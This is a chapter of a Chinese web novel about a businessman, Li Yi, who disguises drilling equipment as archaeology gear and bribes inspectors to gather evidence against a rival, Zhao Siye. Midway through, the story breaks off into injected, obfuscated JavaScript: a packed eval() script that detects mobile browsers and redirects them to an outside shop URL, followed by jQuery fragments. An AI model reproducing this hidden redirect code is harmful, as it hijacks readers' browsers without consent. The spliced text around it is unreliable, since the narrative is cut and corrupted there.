电话那头,刘建军和陈凯的声音,一个充满了拿到王牌的狂喜,一个充满了对未来的无限憧憬,却都在听到矿区被封的噩耗后,瞬间凝固。
“毅……毅弟……这……这可怎么办?”刘建军的声音都变了调,充满了无法掩饰的恐慌,“现金流一断,咱们所有的计划都得搁浅啊!”
然而,李毅的反应,却完全超出了他们的理解范畴。
“等了这么多天,他总算把这张牌打出来了。”那语气,轻松得仿佛在说一件与自己毫不相干的趣事,“我还以为他能想出什么新招呢。”
“慌什么?”李毅的声音沉稳如初,像一颗定海神针,瞬间压下了所有的惊涛骇浪,“他以为这是张要我命的鬼牌,却不知道,这是我计划里,最关键的一股东风。”
他没有理会电话那头两道粗重的、充满了困惑的呼吸声,只是平静地抛出了两个问题。
“刘哥,凯哥,你们想一想,赵四爷现在最怕的是什么?不是十年前孙工那份旧账,而是他现在正洋洋得意、屁股底下坐着的那座活火山东湖雅苑!”
“再想一想,攀市现在有什么地方,能让我们名正言顺地开进重型钻探设备,在他眼皮子底下来回折腾,而他却连个屁都不敢放,甚至还得派人帮我们维持秩序?”
电话那头陷入了长达三秒的死寂。
随即,刘建军和陈凯几乎在同一时间,猛地倒吸了一口凉气!
一个让他们头皮发麻、浑身冰冷的念头,如同闪电般悍然劈入了他们的脑海!
被官方以“文物保护”名义封锁起来的三号井矿区!
李毅嘴角的弧度更冷了:“孙工那份旧报告是引子,是能让他伤筋动骨的刀。但现在,赵四爷亲手给我们递来了一把手术刀,让我们有机会在官方的‘见证’下,拿到一份足以将他活活解剖、让他万劫不复的、新鲜出炉的验尸报告!”
“陈凯,原计划暂停。”
“赵四爷帮我们请来了‘考古队’,这么好的掩护,不用就太浪费了。”李毅的语气里带着一丝冰冷的、如同猎人般的戏谑,“你立刻以‘配合勘探’的名义,带上我们那几套最精密的‘地质勘探设备’进场!”
“他想挖古董,我们就帮他挖一挖”
刘建军和陈凯恍然大悟,只觉得一股寒意从脚底板直冲天灵盖!
对李毅的崇拜,在这一刻,彻底突破了天际!
陈凯的行动力堪称恐怖。
不到半天时间,几台从国外进口的、看起来就充满高科技感的精密岩芯钻机和探**达,就被他用最简单粗暴的方式完成了“伪装”。
他直接联系了之前有过合作的攀市理工大学地质实验室,高价“借”来了几张印着校徽和实验室名称的不干胶贴纸。
于是,“大地脉动V3型探**达”摇身一变,成了听起来就古朴厚重的“古地层结构无损探测仪”;而那台狰狞的“K7型液压岩芯钻机”,则被贴上了“XX大学地质考古研究所”的醒目标签。
当陈凯开着一辆同样贴着大学校徽的工具卡车,浩浩荡荡地抵达三号井矿区时,那两个文物局派来百无聊赖的监督员,只是懒洋洋地从遮阳伞下抬了抬眼皮。
陈凯满脸堆笑地跳下车,将一份盖着大学实验室公章的“协助勘探函”和两条好烟,毕恭毕敬地递了上去。
“领导辛苦,领导辛苦!我们是学校派来协助工作的,一定严格遵守纪律,绝不破坏任何可能的‘文物’!”
其中一个监督员接过文件随意地瞥了一眼,又掂了掂手里那两条分量十足的香烟,脸上立刻露出了满意的笑容。
他深吸了一口烟,对着陈凯不耐烦地挥了挥手。
“知道了知道了,进去吧,动作快点,别耽误我们下班。”
说完,他便转身回到自己的遮阳伞下,继续跟同伴喝茶打牌去了。
一场足以颠覆攀市格局的高科技“盗墓”行动,就在官方的眼皮子底下,大摇大摆地正式展开。
李毅刚挂断陈凯报喜的电话,公司财务总监的电话就火烧火燎地打了进来。
“李总!不好了!”电话那头的声音焦急得像是要哭出来,“三号井一停,我们每天光是设备折旧、人员工资和各项维护费用,现金流缺口就是三十万!我算了一下,加上所有即将到期的应付款项,我们账上这点资金,最多……最多只能撑二十天了!”
这巨大的压力让电话那头的空气都仿佛凝固了,每一个字都像一块沉重的铅块。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900033|190481||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然而,李毅只是平静地“嗯”了一声,仿佛听到的不是一个即将破产的噩耗,而只是一份无关紧要的天气预报。
“二十天?”他淡淡地回复道,“足够了。”
他顿了顿,在那片因震惊而凝固的死寂中,缓缓吐出了那句足以让任何财务都心脏骤停的话。
“让法务部和投资部的人都准备好,半个月后,我们要发起一场前所未有的大收购。”
赵四爷的办公室里,他接到了矿区心腹打来的电话。
“四爷,那姓李的小子怂了,派了些人过来,说是配合考古。”电话那头传来一阵压抑不住的轻蔑笑声,“我看就是做做样子,一个个穿得干干净净,跟大学生似的,哪有半点挖矿的样子。”
赵四爷发出一阵得意的低笑,将杯中的红酒一饮而尽。
“盯着他们,但别管他们。我就是要让他眼睁睁看着自己的钱一分一秒地烧光,等他跪在我面前的时候,你就是头功。”
挂掉电话,他惬意地靠在真皮老板椅上,点燃了一根雪茄,自言自语地嘲讽道:“跟我斗?你还嫩了二十年!”
夜幕降临,刘建军带着孙德海,将那份沉甸甸的、足以掀翻赵四爷半壁江山的原始报告,送到了李毅面前。
“毅弟,王牌到手了,什么时候打出去?”刘建军的声音因激动而微微颤抖。
李毅接过那个用油纸层层包裹的文件袋,却没有打开。
他只是平静地将它递还给刘建军,眼神深邃得如同午夜的寒潭。
“刘哥,明天一早,你去银行租一个最昂贵的保险柜,把它锁进去。”
刘建军愣住了。
“这张牌,现在打出去,赵四爷会重伤,但他有足够的时间和关系网去断尾求生,甚至能把所有责任都推给下面的人。”李毅看着刘建军,一字一顿地说道,“等陈凯把新鲜出炉的新证据拿回来,两份报告一起拍在桌上,这就不再是商业**或者工程质量问题。”
他顿了顿,嘴角勾起一抹冰冷的、不带半分感情的弧度。
“而是足以让他和他的保护伞一起牢底坐穿的刑事重罪。”
“我要的,不是他伤筋动骨。”
“是万劫不复。”